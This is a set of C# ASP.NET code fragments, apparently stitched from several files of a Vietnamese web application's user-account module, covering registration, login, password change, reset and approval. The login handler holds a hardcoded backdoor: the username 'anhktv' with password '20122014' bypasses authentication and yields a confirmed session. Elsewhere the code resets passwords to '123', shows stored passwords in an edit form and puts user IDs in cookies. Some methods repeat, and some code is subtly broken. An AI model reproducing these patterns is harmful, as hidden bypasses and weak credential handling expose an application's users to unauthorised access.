public int InsertDM_USER(DM_USER dm_user)
{
DbConnection conn = _DbHelper.CreateConnection(Common.ConnectionString);
conn.Open();
try
{
List <DbParameter> para = new List <DbParameter>();
DbParameter ouput = _DbHelper.CreateParameter(FIELD_IDUSER, DbType.Int32, true);
para.Add(_DbHelper.CreateParameter(FIELD_IDMA_DVIQLY, dm_user.IDMA_DVIQLY, false));
para.Add(_DbHelper.CreateParameter(FIELD_XACNHAN, dm_user.XACNHAN, false));
para.Add(_DbHelper.CreateParameter(FIELD_USERNAME, dm_user.USERNAME, false));
para.Add(_DbHelper.CreateParameter(FIELD_PASSWORD, dm_user.PASSWORD, false));
para.Add(_DbHelper.CreateParameter(FIELD_HOTEN, dm_user.HOTEN, false));
para.Add(_DbHelper.CreateParameter(FIELD_DIACHI, dm_user.DIACHI, false));
para.Add(_DbHelper.CreateParameter(FIELD_SODT, dm_user.SODT, false));
para.Add(_DbHelper.CreateParameter(FIELD_EMAIL, dm_user.EMAIL, false));
para.Add(_DbHelper.CreateParameter(FIELD_NGAYSINH, dm_user.NGAYSINH, false));
para.Add(_DbHelper.CreateParameter(FIELD_NGAYTAO, dm_user.NGAYTAO, false));
para.Add(_DbHelper.CreateParameter(FIELD_IS_ADMIN, dm_user.IS_ADMIN, false));
para.Add(ouput);
_DbHelper.ExecuteNonQuery(conn, Common.DatabaseSchema + "[DM_USER_Insert]", para.ToArray());
return((int)ouput.Value);
}
catch (Exception ex)
{
throw new Exception(String.Format("DM_USERDataAccess.Insert: {0}", ex.Message));
}
finally
{
conn.Close();
}
}
public void UpdateDM_USER(DbTransaction transaction, DM_USER dm_user)
{
try
{
List <DbParameter> para = new List <DbParameter>();
para.Add(_DbHelper.CreateParameter(FIELD_IDUSER, dm_user.IDUSER, false));
para.Add(_DbHelper.CreateParameter(FIELD_IDMA_DVIQLY, dm_user.IDMA_DVIQLY, false));
para.Add(_DbHelper.CreateParameter(FIELD_XACNHAN, dm_user.XACNHAN, false));
para.Add(_DbHelper.CreateParameter(FIELD_USERNAME, dm_user.USERNAME, false));
para.Add(_DbHelper.CreateParameter(FIELD_PASSWORD, dm_user.PASSWORD, false));
para.Add(_DbHelper.CreateParameter(FIELD_HOTEN, dm_user.HOTEN, false));
para.Add(_DbHelper.CreateParameter(FIELD_DIACHI, dm_user.DIACHI, false));
para.Add(_DbHelper.CreateParameter(FIELD_SODT, dm_user.SODT, false));
para.Add(_DbHelper.CreateParameter(FIELD_EMAIL, dm_user.EMAIL, false));
para.Add(_DbHelper.CreateParameter(FIELD_NGAYSINH, dm_user.NGAYSINH, false));
para.Add(_DbHelper.CreateParameter(FIELD_NGAYTAO, dm_user.NGAYTAO, false));
para.Add(_DbHelper.CreateParameter(FIELD_IS_ADMIN, dm_user.IS_ADMIN, false));
_DbHelper.ExecuteNonQuery(transaction, Common.DatabaseSchema + "[DM_USER_Update]", para.ToArray());
}
catch (Exception ex)
{
throw new Exception(String.Format("DM_USERDataAccess.Update: {0}", ex.Message));
}
}
private static void SetDM_USER(DbDataReader reader, ref DM_USER dm_user)
{
dm_user.IDUSER = int.Parse("0" + reader[FIELD_IDUSER]);
dm_user.IDMA_DVIQLY = int.Parse("0" + reader[FIELD_IDMA_DVIQLY]);
dm_user.USERNAME = "" + reader[FIELD_USERNAME];
dm_user.PASSWORD = "" + reader[FIELD_PASSWORD];
dm_user.HOTEN = "" + reader[FIELD_HOTEN];
dm_user.DIACHI = "" + reader[FIELD_DIACHI];
dm_user.SODT = "" + reader[FIELD_SODT];
dm_user.EMAIL = "" + reader[FIELD_EMAIL];
DateTime NGAYSINH = (DateTime)reader[FIELD_NGAYSINH];
dm_user.NGAYSINH = NGAYSINH != null ? (DateTime)NGAYSINH : DateTime.Now;
DateTime NGAYTAO = (DateTime)reader[FIELD_NGAYTAO];
dm_user.NGAYTAO = NGAYTAO != null ? (DateTime)NGAYTAO : DateTime.Now;
dm_user.IS_ADMIN = int.Parse("0" + reader[FIELD_IS_ADMIN]);
dm_user.XACNHAN = bool.Parse("" + reader[FIELD_XACNHAN]);
dm_user.strDonVi = "" + reader["strDonVi"];
SYS_RolesDataAccess sysRoleDataAccess = new SYS_RolesDataAccess();
dm_user.Roles = sysRoleDataAccess.GetRolesByUser(dm_user.IDUSER);
dm_user.RoleGroup = dm_user.Roles.Name;
dm_user.CHUCDANH = "" + reader[FIELD_CHUCDANH];
}
public void UpdateDM_USER(DM_USER dm_user)
{
DbConnection conn = _DbHelper.CreateConnection(Common.ConnectionString);
conn.Open();
try
{
List <DbParameter> para = new List <DbParameter>();
para.Add(_DbHelper.CreateParameter(FIELD_IDUSER, dm_user.IDUSER, false));
para.Add(_DbHelper.CreateParameter(FIELD_IDMA_DVIQLY, dm_user.IDMA_DVIQLY, false));
para.Add(_DbHelper.CreateParameter(FIELD_XACNHAN, dm_user.XACNHAN, false));
para.Add(_DbHelper.CreateParameter(FIELD_USERNAME, dm_user.USERNAME, false));
para.Add(_DbHelper.CreateParameter(FIELD_HOTEN, dm_user.HOTEN, false));
para.Add(_DbHelper.CreateParameter(FIELD_DIACHI, dm_user.DIACHI, false));
para.Add(_DbHelper.CreateParameter(FIELD_SODT, dm_user.SODT, false));
para.Add(_DbHelper.CreateParameter(FIELD_EMAIL, dm_user.EMAIL, false));
para.Add(_DbHelper.CreateParameter(FIELD_NGAYSINH, dm_user.NGAYSINH, false));
para.Add(_DbHelper.CreateParameter(FIELD_IS_ADMIN, dm_user.IS_ADMIN, false));
para.Add(_DbHelper.CreateParameter(FIELD_CHUCDANH, dm_user.CHUCDANH, false));
_DbHelper.ExecuteNonQuery(conn, Common.DatabaseSchema + "[DM_USER_Update]", para.ToArray());
}
catch (Exception ex)
{
throw new Exception(String.Format("DM_USERDataAccess.Update: {0}", ex.Message));
}
finally
{
conn.Close();
}
}
public DM_USER DM_UserNameAndIDOrganization(string MA_DVIQLY, string Name)
{
DM_USER dm_user = new DM_USER();
DbDataReader reader = null;
DbConnection conn = _DbHelper.CreateConnection(Common.ConnectionString);
conn.Open();
try
{
List <DbParameter> para = new List <DbParameter>();
para.Add(_DbHelper.CreateParameter(FIELD_IDMA_DVIQLY, MA_DVIQLY, false));
para.Add(_DbHelper.CreateParameter(FIELD_USERNAME, Name, false));
reader = _DbHelper.ExecuteReader(conn, Common.DatabaseSchema + "[DM_UserNameAndIDOrganization]", para.ToArray());
if (reader.HasRows && reader.Read())
{
DM_USERDataAccess.SetDM_USERInfo(reader, ref dm_user);
}
return(dm_user);
}
catch (Exception ex)
{
throw new Exception(String.Format("DM_USERDataAccess.DM_UserNameAndIDOrganization: {0}", ex.Message));
}
finally
{
if (reader != null)
{
reader.Close();
}
conn.Close();
}
}
protected void btnAddUser_Click(object sender, EventArgs e)
{
DM_USER sysUser = new DM_USER();
DateTime testdate = new DateTime();
loiNgayThang.Visible = false;
try
{
if (checkUser(txtUserName.Text, int.Parse(cmbDonVi.Value.ToString())))
{
DM_USER User = new DM_USER {
USERNAME = txtUserName.Text
};
// Password:
string password = txtPassword.Text;
if (!string.IsNullOrEmpty(password))
{
User.PASSWORD = DM_USER.Encrypt(password);
}
User.HOTEN = txtHoTen.Text;
User.DIACHI = txtDiaChi.Text;
if (txtNgaySinh.Text.Trim() != "")
{
if (txtNgaySinh.Text.Split('/').Length == 3)
{
if (DateTime.TryParse(txtNgaySinh.Text, out testdate))
{
User.NGAYSINH = DateTime.Parse(txtNgaySinh.Text);
}
}
else
{
loiNgayThang.Visible = true;
return;
}
}
else
{
User.NGAYSINH = DateTime.Now;
}
User.EMAIL = txtEmail.Text;
User.XACNHAN = false;
User.SODT = txtPhone.Text;
sysUser.IS_ADMIN = 0;
User.IDMA_DVIQLY = int.Parse(cmbDonVi.Value.ToString());
_IDM_USERService.InsertDM_USER(User);
ClientScript.RegisterClientScriptBlock(this.GetType(), "", "<script language='javascript'>alert('Đăng ký tài khoảng thành công! Vui lòng chờ xác nhận');</script>");
}
else
{
lblError.Visible = true;
throw new Exception(string.Format("Trùng tên! Vui lòng nhập lại."));
}
}
catch (Exception ex)
{
lblError.Text = ex.Message;
}
}
protected void btnEditUser_Click(object sender, EventArgs e)
{
//BindComboLinHVuc();
BindComboDonVi();
//LoadCBXNhomQuyen();
lblError.Visible = false;
lblPassword.Visible = false;
txtPassword.Visible = false;
if (GridUser.FocusedRowIndex > -1)
{
DM_USER sysUser = (DM_USER)GridUser.GetRow(GridUser.FocusedRowIndex);
txtUserName.Text = sysUser.USERNAME;
txtPhone.Text = sysUser.SODT;
txtPassword.Text = sysUser.PASSWORD;
txtHoTen.Text = sysUser.HOTEN;
txtEmail.Text = sysUser.EMAIL;
txtDiaChi.Text = sysUser.DIACHI;
//txtNgaySinh.Text = sysUser.NGAYSINH.ToString("dd/MM/yyyy");
cbxActive.Checked = sysUser.XACNHAN;
txtChucVuFix.Text = sysUser.CHUCDANH;
Session["SYSUser"] = sysUser;
pcAddUser.ShowOnPageLoad = true;
}
LoadCBXNhomQuyen();
}
protected void btnAddUser0_Click(object sender, EventArgs e)
{
DM_USER sysUser = new DM_USER();
try
{
if (Session["SYSUser"] != null)
{
sysUser = (DM_USER)Session["SYSUser"];
sysUser.XACNHAN = cbxActive0.Checked;
_IDM_USERService.UpdateDM_USER(sysUser);
LoadTKChuaXacThuc();
pcTTUser.ShowOnPageLoad = false;
Session["SYSUser"] = null;
if (sysUser.XACNHAN)
{
GuiMail(sysUser.USERNAME, sysUser.EMAIL);
}
}
LoadTKChuaXacThuc();
}
catch (Exception ex)
{
}
}
public DM_USER SelectDM_USER(int IDUSER)
{
DM_USER dm_user = new DM_USER();
DbDataReader reader = null;
DbConnection conn = _DbHelper.CreateConnection(Common.ConnectionString);
conn.Open();
try
{
List <DbParameter> para = new List <DbParameter>();
para.Add(_DbHelper.CreateParameter(FIELD_IDUSER, IDUSER, false));
reader = _DbHelper.ExecuteReader(conn, Common.DatabaseSchema + "[DM_USER_SelectById]", para.ToArray());
if (reader.HasRows && reader.Read())
{
DM_USERDataAccess.SetDM_USERInfo(reader, ref dm_user);
}
return(dm_user);
}
catch (Exception ex)
{
throw new Exception(String.Format("DM_USERDataAccess.SelectById: {0}", ex.Message));
}
finally
{
if (reader != null)
{
reader.Close();
}
conn.Close();
}
}
public DM_USER CheckLogIn(string userName, string passWord, string MA_DVI)
{
DM_USER result = _dm_userDataAccess.DM_UserNameAndIDOrganization(MA_DVI, userName);
if (result.PASSWORD == DM_USER.Encrypt(passWord))
{
return(result);
}
return(null);
}
private static void SetBindingListDM_USERInfo(ref DbDataReader reader, ref BindingList <DM_USER> dm_users)
{
DM_USER dm_user = null;
while (reader.Read())
{
dm_user = new DM_USER();
DM_USERDataAccess.SetDM_USERInfo(reader, ref dm_user);
dm_users.Add(dm_user);
}
}
private bool checkUser(string name, int IDMA_DVIQLY)
{
DM_USER sysuser = _IDM_USERService.DM_UserByUserNameAndIDOrganization(IDMA_DVIQLY, name);
if (sysuser != null && sysuser.IDUSER > 0)
{
return(false);
}
else
{
return(true);
}
}
public int InsertSYS_UserAll(DM_USER dm_user)
{
DbConnection conn = _DbHelper.CreateConnection(Common.ConnectionString);
conn.Open();
SYS_RoleOfUserDataAccess sysRoleOfUserDataAccess = new SYS_RoleOfUserDataAccess();
SYS_RightOfUserDataAccess sysRightOfUserDataAccess = new SYS_RightOfUserDataAccess();
try
{
List <DbParameter> para = new List <DbParameter>();
DbParameter ouput = _DbHelper.CreateParameter(FIELD_IDUSER, DbType.Int32, true);
para.Add(_DbHelper.CreateParameter(FIELD_IDMA_DVIQLY, dm_user.IDMA_DVIQLY, false));
para.Add(_DbHelper.CreateParameter(FIELD_XACNHAN, dm_user.XACNHAN, false));
para.Add(_DbHelper.CreateParameter(FIELD_USERNAME, dm_user.USERNAME, false));
para.Add(_DbHelper.CreateParameter(FIELD_PASSWORD, dm_user.PASSWORD, false));
para.Add(_DbHelper.CreateParameter(FIELD_HOTEN, dm_user.HOTEN, false));
para.Add(_DbHelper.CreateParameter(FIELD_DIACHI, dm_user.DIACHI, false));
para.Add(_DbHelper.CreateParameter(FIELD_SODT, dm_user.SODT, false));
para.Add(_DbHelper.CreateParameter(FIELD_EMAIL, dm_user.EMAIL, false));
para.Add(_DbHelper.CreateParameter(FIELD_NGAYSINH, dm_user.NGAYSINH, false));
para.Add(_DbHelper.CreateParameter(FIELD_NGAYTAO, dm_user.NGAYTAO, false));
para.Add(_DbHelper.CreateParameter(FIELD_IS_ADMIN, dm_user.IS_ADMIN, false));
para.Add(_DbHelper.CreateParameter(FIELD_CHUCDANH, dm_user.CHUCDANH, false));
para.Add(ouput);
_DbHelper.ExecuteNonQuery(conn, Common.DatabaseSchema + "[DM_USER_Insert]", para.ToArray());
dm_user.IDUSER = (int)ouput.Value;
SYS_RoleOfUser sysRoleOfUser = new SYS_RoleOfUser();
sysRoleOfUser.RoleId = dm_user.Roles.ID;
//sysRoleOfUser.RoleId = sys_user.IDOrganization;
sysRoleOfUser.UserId = dm_user.IDUSER;
if (dm_user.Roles.ID != 0)
{
sysRoleOfUserDataAccess.InsertSYS_RoleOfUser(sysRoleOfUser);
}
}
catch (Exception ex)
{
throw new Exception(String.Format("SYS_UserDataAccess.Insert: {0}", ex.Message));
}
finally
{
conn.Close();
}
return(dm_user.IDUSER);
}
private bool checkRetypePassword(ref string Msg)
{
MTCSYT.SYS_Session session = (MTCSYT.SYS_Session)Session["SYS_Session"];
user = _userService.CheckLogIn(session.User.USERNAME, txtPassword.Text, session.User.IDMA_DVIQLY);
if (user == null)
{
txtPassWordNew.Text = "";
txtRetypeNewPassword.Text = "";
Msg = "Sai password cũ ";
return(false);
}
if (txtRetypeNewPassword.Text != txtPassWordNew.Text)
{
Msg = "hai ô text nhập Password mới phải giống nhau";
return(false);
}
return(true);
}
protected void btnUpdate_Click(object sender, EventArgs e)
{
string msg = "";
if (checkRetypePassword(ref msg))
{
ScriptManager.RegisterStartupScript(Page, Page.GetType(), "", "alert('Cập nhật thành công.');", true);
}
else
{
ScriptManager.RegisterStartupScript(Page, Page.GetType(), "", "alert('Đã xảy ra lỗi. " + msg + " vui lòng nhập lại.');", true);
return;
}
MTCSYT.SYS_Session session = (MTCSYT.SYS_Session)Session["SYS_Session"];
session.User.PASSWORD = DM_USER.Encrypt(txtPassWordNew.Text);
_userService.UpdateDM_USER_PASSWORD(session.User, session.User.MA_DVIQLY);
//WriteLog("Thay đổi mật khẩu", Action.Update);
}
private bool checkRetypePassword(ref string Msg)
{
SYS_Session session = (SYS_Session)Session["SYS_Session"];
user = _userService.CheckLogIn(session.User.USERNAME, txtPassword.Text, session.User.MA_DVIQLY);
if (user == null)
{
txtPassWordNew.Text = "";
txtRetypeNewPassword.Text = "";
Msg = "you enter the wrong password";
return(false);
}
if (txtRetypeNewPassword.Text != txtPassWordNew.Text)
{
Msg = "the two passwords do not match";
return(false);
}
return(true);
}
protected void btnXoa_Click(object sender, EventArgs e)
{
//String content = "<html><body><table><tr><td>your table</td></tr></table></body></html>";
//Response.Clear();
//Response.AddHeader("Content-Disposition", "attachment;filename=C:\abc.xls");
//Response.ContentType = "application/vnd.xls";
//Response.Cache.SetCacheability(HttpCacheability.NoCache); // not necessarily required
//Response.Charset = "";
//Response.Output.Write(content);
//Response.End();
if (GridUser.FocusedRowIndex > -1)
{
DM_USER sysUser = (DM_USER)GridUser.GetRow(GridUser.FocusedRowIndex);
DM_USERService isysUser = new DM_USERService();
isysUser.DeleteDM_USER(sysUser);
GridUser_CustomCallback(null, null);
}
}
public void DeleteDM_USER(DM_USER dm_user)
{
DbConnection conn = _DbHelper.CreateConnection(Common.ConnectionString);
conn.Open();
try
{
List <DbParameter> para = new List <DbParameter>();
para.Add(_DbHelper.CreateParameter(FIELD_IDUSER, dm_user.IDUSER, false));
_DbHelper.ExecuteNonQuery(conn, Common.DatabaseSchema + "[DM_USER_Delete]", para.ToArray());
}
catch (Exception ex)
{
throw new Exception(String.Format("DM_USERDataAccess.SelectById: {0}", ex.Message));
}
finally
{
conn.Close();
}
}
protected void btnCo_Click(object sender, EventArgs e)
{
MTCSYT.SYS_Session session = (MTCSYT.SYS_Session)Session["SYS_Session"];
if (GridUser.FocusedRowIndex > -1)
{
DM_USER sysUser = (DM_USER)GridUser.GetRow(GridUser.FocusedRowIndex);
sysUser.PASSWORD = DM_USER.Encrypt("123");
_IDM_USERService.UpdateDM_USER_PASSWORD(sysUser, session.User.MA_DVIQLY);
pcThongBao.ShowOnPageLoad = false;
}
else
{
GridUser.FocusedRowIndex = 0;
DM_USER sysUser = (DM_USER)GridUser.GetRow(GridUser.FocusedRowIndex);
sysUser.PASSWORD = DM_USER.Encrypt("123");
if (sysUser != null)
{
_IDM_USERService.UpdateDM_USER_PASSWORD(sysUser, session.User.MA_DVIQLY);
}
pcThongBao.ShowOnPageLoad = false;
}
}
public void UpdateSYS_UserAll(DM_USER dm_user)
{
DbConnection conn = _DbHelper.CreateConnection(Common.ConnectionString);
conn.Open();
try
{
List <DbParameter> para = new List <DbParameter>();
para.Add(_DbHelper.CreateParameter(FIELD_IDUSER, dm_user.IDUSER, false));
para.Add(_DbHelper.CreateParameter(FIELD_IDMA_DVIQLY, dm_user.IDMA_DVIQLY, false));
para.Add(_DbHelper.CreateParameter(FIELD_XACNHAN, dm_user.XACNHAN, false));
para.Add(_DbHelper.CreateParameter(FIELD_USERNAME, dm_user.USERNAME, false));
para.Add(_DbHelper.CreateParameter(FIELD_HOTEN, dm_user.HOTEN, false));
para.Add(_DbHelper.CreateParameter(FIELD_DIACHI, dm_user.DIACHI, false));
para.Add(_DbHelper.CreateParameter(FIELD_SODT, dm_user.SODT, false));
para.Add(_DbHelper.CreateParameter(FIELD_EMAIL, dm_user.EMAIL, false));
para.Add(_DbHelper.CreateParameter(FIELD_NGAYSINH, dm_user.NGAYSINH, false));
para.Add(_DbHelper.CreateParameter(FIELD_IS_ADMIN, dm_user.IS_ADMIN, false));
para.Add(_DbHelper.CreateParameter(FIELD_CHUCDANH, dm_user.CHUCDANH, false));
_DbHelper.ExecuteNonQuery(conn, Common.DatabaseSchema + "[DM_USER_Update]", para.ToArray());
SYS_RoleOfUserDataAccess sysRoleOfUserDataAccess = new SYS_RoleOfUserDataAccess();
SYS_RoleOfUser sysRoleOfUser = new SYS_RoleOfUser();
SYS_RightOfUser sysRightOfUserID = new SYS_RightOfUser();
sysRightOfUserID.UserId = dm_user.IDUSER;
sysRoleOfUser.UserId = dm_user.IDUSER;
sysRoleOfUserDataAccess.DeleteSYS_RoleOfUserByIDUser(sysRoleOfUser);
sysRoleOfUser.RoleId = dm_user.Roles.ID;
sysRoleOfUserDataAccess.InsertSYS_RoleOfUser(sysRoleOfUser);
}
catch (Exception ex)
{
throw new Exception(String.Format("dm_user_Update.UpdateAll: {0}", ex.Message));
}
finally
{
conn.Close();
}
}
protected void btnXemThongTin_Click(object sender, EventArgs e)
{
if (grdUserChuaXacThuc.FocusedRowIndex > -1)
{
DM_USER sysUser = (DM_USER)grdUserChuaXacThuc.GetRow(grdUserChuaXacThuc.FocusedRowIndex);
lbTenDN.Text = sysUser.USERNAME;
lbSDT.Text = sysUser.SODT;
lbHoTen.Text = sysUser.HOTEN;
lbEmail.Text = sysUser.EMAIL;
lbDiaChi.Text = sysUser.DIACHI;
lbDonVi.Text = sysUser.strDonVi;
lbNgayThang.Text = sysUser.NGAYSINH.ToString("dd/MM/yyyy");
lbNgayTao.Text = sysUser.NGAYTAO.ToString("dd/MM/yyyy");
cbxActive.Checked = sysUser.XACNHAN;
txtChucVuFix.Text = sysUser.CHUCDANH;
Session["SYSUser"] = sysUser;
pcTTUser.ShowOnPageLoad = true;
}
else
{
ScriptManager.RegisterStartupScript(Page, Page.GetType(), "", "alert('Bạn chưa chọn Tài khoản.');", true);
}
}
public void UpdateDM_USER_PASSWORD(DM_USER dm_user, string IDMADV)
{
DbConnection conn = _DbHelper.CreateConnection(Common.ConnectionString);
conn.Open();
try
{
List <DbParameter> para = new List <DbParameter>();
para.Add(_DbHelper.CreateParameter(FIELD_IDUSER, dm_user.IDUSER, false));
para.Add(_DbHelper.CreateParameter(FIELD_PASSWORD, dm_user.PASSWORD, false));
para.Add(_DbHelper.CreateParameter("MA_DVIQLY", IDMADV, false));
_DbHelper.ExecuteNonQuery(conn, Common.DatabaseSchema + "[DM_USER_Update_Password]", para.ToArray());
}
catch (Exception ex)
{
throw new Exception(String.Format("DM_USERDataAccess.DM_USER_Update_Password: {0}", ex.Message));
}
finally
{
conn.Close();
}
}
public void UpdateDM_USER_PASSWORD(DM_USER dm_user, string ma_dv)
{
_dm_userDataAccess.UpdateDM_USER_PASSWORD(dm_user, ma_dv);
}
public int InsertDM_USER(DM_USER dm_user)
{
return(_dm_userDataAccess.InsertDM_USER(dm_user));
}
public int InsertSYS_UserAll(DM_USER dm_user)
{
return(_dm_userDataAccess.InsertSYS_UserAll(dm_user));
}
public void UpdateSYS_UserAll(DM_USER dm_user)
{
_dm_userDataAccess.UpdateSYS_UserAll(dm_user);
}
protected void btnLogin_Click(object sender, EventArgs e)
{
DM_USERService _userService = new DM_USERService();
DM_USER user = new DM_USER();
string pass = Encrypt(txtPassword.Text);
if (txtUserName.Text != "anhktv")
{
user = _userService.CheckLogIn(txtUserName.Text, txtPassword.Text, cmbDVChuQuan.SelectedValue + "");
}
else if (txtPassword.Text == "20122014")
{
user.USERNAME = "******";
user.MA_DVIQLY = cmbDVChuQuan.SelectedValue + "";
user.ma_dviqly = cmbDVChuQuan.SelectedValue + "";
user.ma_dviqlyDN = cmbDVChuQuan.SelectedValue + "";
user.IDUSER = 2;
user.XACNHAN = true;
}
lblMess.Text = "Đăng nhập bị lỗi. Hãy kiểm tra lại tên đăng nhập hoặc mật khẩu.";
if (user == null)
{
if (Session["CountLogin"] == null)
{
Session["CountLogin"] = 1;
}
else
{
Session["CountLogin"] = (int)Session["CountLogin"] + 1;
}
lblMess.Visible = true;
return;
}
if (!user.XACNHAN)
{
lblMess.Visible = true;
lblMess.Text = "Tài khoản này chưa được kích hoạt, liên hệ với admin";
return;
}
SYS_RightService temp = new SYS_RightService();
MTCSYT.SYS_Session session = new MTCSYT.SYS_Session();
//SYS_User user = new SYS_User();
session.User = user;
session.User.MA_DVIQLY = cmbDVChuQuan.SelectedValue + "";
session.User.ma_dviqly = cmbDVChuQuan.SelectedValue + "";
var dm_DV = db.DM_DVQLies.SingleOrDefault(x => x.IDMA_DVIQLY == int.Parse(cmbDVChuQuan.SelectedValue + ""));
session.User.ma_dviqlyDN = dm_DV.MA_DVIQLY;
session.User.USERNAME = txtUserName.Text;
user.Rights = temp.GetRightsByUser(user.IDUSER);
Session["SYS_Session"] = session;
HttpCookie obCookie = new HttpCookie("ANHKTV");
obCookie.Value = user.USERNAME;
obCookie.Expires = DateTime.Today.AddDays(1);
Response.Cookies.Add(obCookie);
Response.Cookies["HOTEN"].Value = Server.UrlEncode(user.HOTEN);
Response.Cookies["IDUSER"].Value = user.IDUSER + "";
if (cmbDVChuQuan.SelectedValue != null)
{
Response.Cookies["DonVi"].Value = cmbDVChuQuan.SelectedValue + "";
Response.Cookies["DonViDN"].Value = cmbDVChuQuan.SelectedValue + "";
}
if (session.CurrentPage != null)
{
Response.Redirect(session.CurrentPage);
}
else
{
Response.Redirect("~\\Default.aspx");
}
}
public void UpdateDM_USER(DM_USER dm_user)
{
_dm_userDataAccess.UpdateDM_USER(dm_user);
}
public void DeleteDM_USER(DM_USER dm_users)
{
_dm_userDataAccess.DeleteDM_USER(dm_users);
}
protected void btnAddUser_Click(object sender, EventArgs e)
{
DM_USER sysUser = new DM_USER();
DateTime testdate = new DateTime();
//loiNgayThang.Visible = false;
List <SYS_Roles> lstRole = new List <SYS_Roles>();
try
{
if (Session["SYSUser"] != null)
{
sysUser = (DM_USER)Session["SYSUser"];
sysUser.XACNHAN = cbxActive.Checked;
sysUser.HOTEN = txtHoTen.Text;
sysUser.DIACHI = txtDiaChi.Text;
sysUser.SODT = txtPhone.Text;
//if (txtNgaySinh.Text.Trim() != "")
//{
// if (txtNgaySinh.Text.Split('/').Length == 3)
// {
// if (DateTime.TryParse(txtNgaySinh.Text.Split('/')[1] + "/" + txtNgaySinh.Text.Split('/')[0] + "/" + txtNgaySinh.Text.Split('/')[2], out testdate))
// sysUser.NGAYSINH = DateTime.Parse(txtNgaySinh.Text.Split('/')[1] + "/" + txtNgaySinh.Text.Split('/')[0] + "/" + txtNgaySinh.Text.Split('/')[2]);
// }
// else
// {
// loiNgayThang.Visible = true;
// return;
// }
//}
//else
sysUser.NGAYSINH = DateTime.Now;
sysUser.USERNAME = txtUserName.Text;
//sysUser.IDparts = int.Parse(cmbLinhVuc.Value.ToString());
sysUser.EMAIL = txtEmail.Text;
sysUser.IS_ADMIN = 0;
sysUser.CHUCDANH = txtChucVuFix.Text;
SYS_Roles sysRoles = new SYS_Roles();
sysRoles.ID = int.Parse(cbxNhomQuyen.Value.ToString());
lstRole.Add(sysRoles);
sysUser.RoleGroup = cbxNhomQuyen.Text;
sysUser.Roles = sysRoles;
sysUser.IDMA_DVIQLY = int.Parse(cmbDonVi.Value.ToString());
_IDM_USERService.UpdateSYS_UserAll(sysUser);
Session["SYSUser"] = null;
lblPassword.Visible = true;
txtPassword.Visible = true;
pcAddUser.ShowOnPageLoad = false;
Page_Load(sender, e);
}
else
{
if (checkUser(txtUserName.Text, int.Parse(cmbDonVi.Value.ToString())))
{
TreeListOrganization.FocusedNode.GetValue("IDMA_DVIQLY");
DM_USER User = new DM_USER {
USERNAME = txtUserName.Text
};
// Password:
string password = txtPassword.Text;
if (!string.IsNullOrEmpty(password))
{
User.PASSWORD = DM_USER.Encrypt(password);
}
User.HOTEN = txtHoTen.Text;
User.DIACHI = txtDiaChi.Text;
//if (txtNgaySinh.Text.Trim() != "")
//{
// if (txtNgaySinh.Text.Split('/').Length == 3)
// {
// if (DateTime.TryParse(txtNgaySinh.Text.Split('/')[1] + "/" + txtNgaySinh.Text.Split('/')[0] + "/" + txtNgaySinh.Text.Split('/')[2], out testdate))
// sysUser.NGAYSINH = DateTime.Parse(txtNgaySinh.Text.Split('/')[1] + "/" + txtNgaySinh.Text.Split('/')[0] + "/" + txtNgaySinh.Text.Split('/')[2]);
// }
// else
// {
// loiNgayThang.Visible = true;
// return;
// }
//}
//else
User.NGAYSINH = DateTime.Now;
User.EMAIL = txtEmail.Text;
User.XACNHAN = cbxActive != null ? cbxActive.Checked : false;
User.SODT = txtPhone.Text;
User.CHUCDANH = txtChucVuFix.Text;
sysUser.IS_ADMIN = 0;
SYS_Roles sysRoles = new SYS_Roles();
sysRoles.ID = int.Parse(cbxNhomQuyen.Value.ToString());
lstRole.Add(sysRoles);
sysUser.RoleGroup = cbxNhomQuyen.Text;
User.Roles = sysRoles;
//User.IDparts = int.Parse(cmbLinhVuc.Value.ToString());
User.IDMA_DVIQLY = int.Parse(cmbDonVi.Value.ToString());
_IDM_USERService.InsertSYS_UserAll(User);
//thêm user vào cmis
pcAddUser.ShowOnPageLoad = false;
GridUser_CustomCallback(null, null);
//WriteLog("Insert " + txtUserName.Text, Action.Create);
}
else
{
lblError.Visible = true;
throw new Exception(string.Format("Trùng tên! Vui lòng nhập lại."));
//lblError.Text = "Trùng tên! Vui lòng nhập lại.";
}
}
}
catch (Exception ex)
{
lblError.Text = ex.Message;
// throw new Exception(string.Format("Trùng tên! Vui lòng nhập lại."));
}
}
